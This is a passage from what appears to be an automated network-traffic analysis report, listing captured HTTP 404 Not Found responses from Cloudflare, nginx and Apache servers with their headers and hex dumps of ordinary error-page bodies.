0d 0a Data Ascii: f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:57:07 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O4WYtCaLEnUX2VSFNq%2FqIwxr%2FeBLm8p6A2l8ta%2B%2FdYaAUOTCSygldZ%2B52CBVVBLmPxtND1Gd2YpygCyX%2FAHRf5fviTFOnUbf1OWkETVoqvdYbbirkwGf6qH5gaj97YSuHFRCOW5hYw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff59f082da1874f-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=118836&min_rtt=118836&rtt_var=59418&sent=2&recv=6&lost=0&retrans=0&sent_bytes=0&recv_bytes=3948&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 64 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 6e c2 30 10 44 ef fe 8a 2d 77 b2 01 71 e8 61 65 a9 25 41 45 0a 34 6a cd 81 a3 c1 5b 19 89 c6 c6 de 34 e2 ef ab 04 55 ea 75 e6 cd 68 86 9e aa f7 b5 39 b6 35 bc 99 5d 03 ed e1 b5 d9 ae 61 36 47 dc d6 66 83 58 99 ea e1 2c 8b 12 b1 de cf b4 22 2f df 57 4d 9e ad d3 8a e4 22 57 d6 ab 72 05 fb 20 b0 09 7d e7 08 1f a2 22 9c 20 3a 05 77 1f 73 0b fd 8f f1 0b ad 28 6a e3 19 12 df 7a ce c2 0e 0e 1f 0d 0c 36 43 17 04 be 46 0e 42 07 e2 2f 19 32 a7 1f 4e 05 61 1c 9b 92 56 64 9d 4b 9c b3 7e 89 f6 ec 19 3e 27 00 ac c0 30 0c c5 a9 bf e7 c8 7c f6 59 8a ec 43 84 36 24 81 e7 92 f0 2f a6 08 a7 5d 84 d3 9f 5f 00 00 00 ff ff 0d 0a Data Ascii: d8Ln0D-wqae%AE4j[4Uuh95]a6GfX,"/WM"Wr }" :ws(jz6CFB/2NaVdK~>'0\|YC6$/]_
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:57:10 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dCoKElnvZjL8eD3iYDX9OYPTFhsb14hFxTPkx%2BbLOw9KH5IsIzakScLCZd90t2O0akzI26K5JKnnGybcP8WLlCqDSUKk2XIyYIX0m9W2rRXNFHmakYfy9ZCm2C%2BGFl%2B7jfdUZGXihQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff59f18cd10a49b-ORDalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=119224&min_rtt=119224&rtt_var=59612&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=539&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 30 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 62 75 79 73 70 65 65 63 68 73 74 2e 73 68 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 10a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at www.buyspeechst.shop Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 09 Jan 2025 15:57:16 GMTTransfer-Encoding: chunkedConnection: closeData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 09 Jan 2025 15:57:19 GMTTransfer-Encoding: chunkedConnection: closeData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 09 Jan 2025 15:57:22 GMTTransfer-Encoding: chunkedConnection: closeData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:57:52 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tQAztm%2Busp1qpHvsfHfUeQwzc%2BafZQwG06p1eq8mBC4xyYIQJfAJ4ThgRrm%2FdwRG%2FMn5NfemRFQF3LcW7naKbWG1FdOVeJREGAgxB9ofgZmxJabJc1qIVnc%2BHP0JK7I5U2Y8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff5a023581ee269-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=119349&min_rtt=119349&rtt_var=59674&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=799&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 0d 0a Data Ascii: f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:57:55 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8%2BVEtQ15KiJojdThOkBwjCnxmg%2FDDUgvIUVzUVGpFxZIW18r61XTVZF0rX%2BoGg3Bh%2F5JM8mfIcn%2FUEGHb6xalBxmM9i8QzT1rOIybO%2F77fIRQjTusn3HMcmFOhRmnA%2FogHEz"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff5a033eda6233a-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=119336&min_rtt=119336&rtt_var=59668&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=819&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:57:58 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DnnF83MshvNWhunqlYjFBVtSSDHeezi9y%2FfglLtwhYbufnIIrSg9HZsg9z04dXexydWa07AfZxi8WZv2zilxPTF2Xf7ZaaufoPn8PHRc2ql4bQaoR%2FMHY7OjlU11TTd8OrPQ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff5a0448a6a10ed-ORDContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=118564&min_rtt=118564&rtt_var=59282&sent=3&recv=6&lost=0&retrans=0&sent_bytes=0&recv_bytes=3936&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:58:00 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kwE%2BxxjkBYKmn%2FLrgRASdSOP2JOWtsaIhHx7j8%2FGqIIdLoEVSqLZ2V46eevsA7lCP8j0G67TTIC9gRTIwQL8TB%2FHQ0CAkZAJWJfRPL0In0yZxGWstAsIG95aubTuckrO6%2BKp"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ff5a0552864e269-ORDalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=119652&min_rtt=119652&rtt_var=59826&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=535&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:58:06 GMTServer: ApacheContent-Length: 774Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</s
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:58:09 GMTServer: ApacheContent-Length: 774Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</s
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:58:11 GMTServer: ApacheContent-Length: 774Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</s
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 09 Jan 2025 15:58:14 GMTServer: ApacheContent-Length: 774Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404">
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 09 Jan 2025 15:58:28 GMTTransfer-Encoding: chunkedConnection: closeData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 09 Jan 2025 15:58:31 GMTTransfer-Encoding: chunkedConnection: closeData Raw: 30 0d 0a 0d 0a Data Ascii: 0
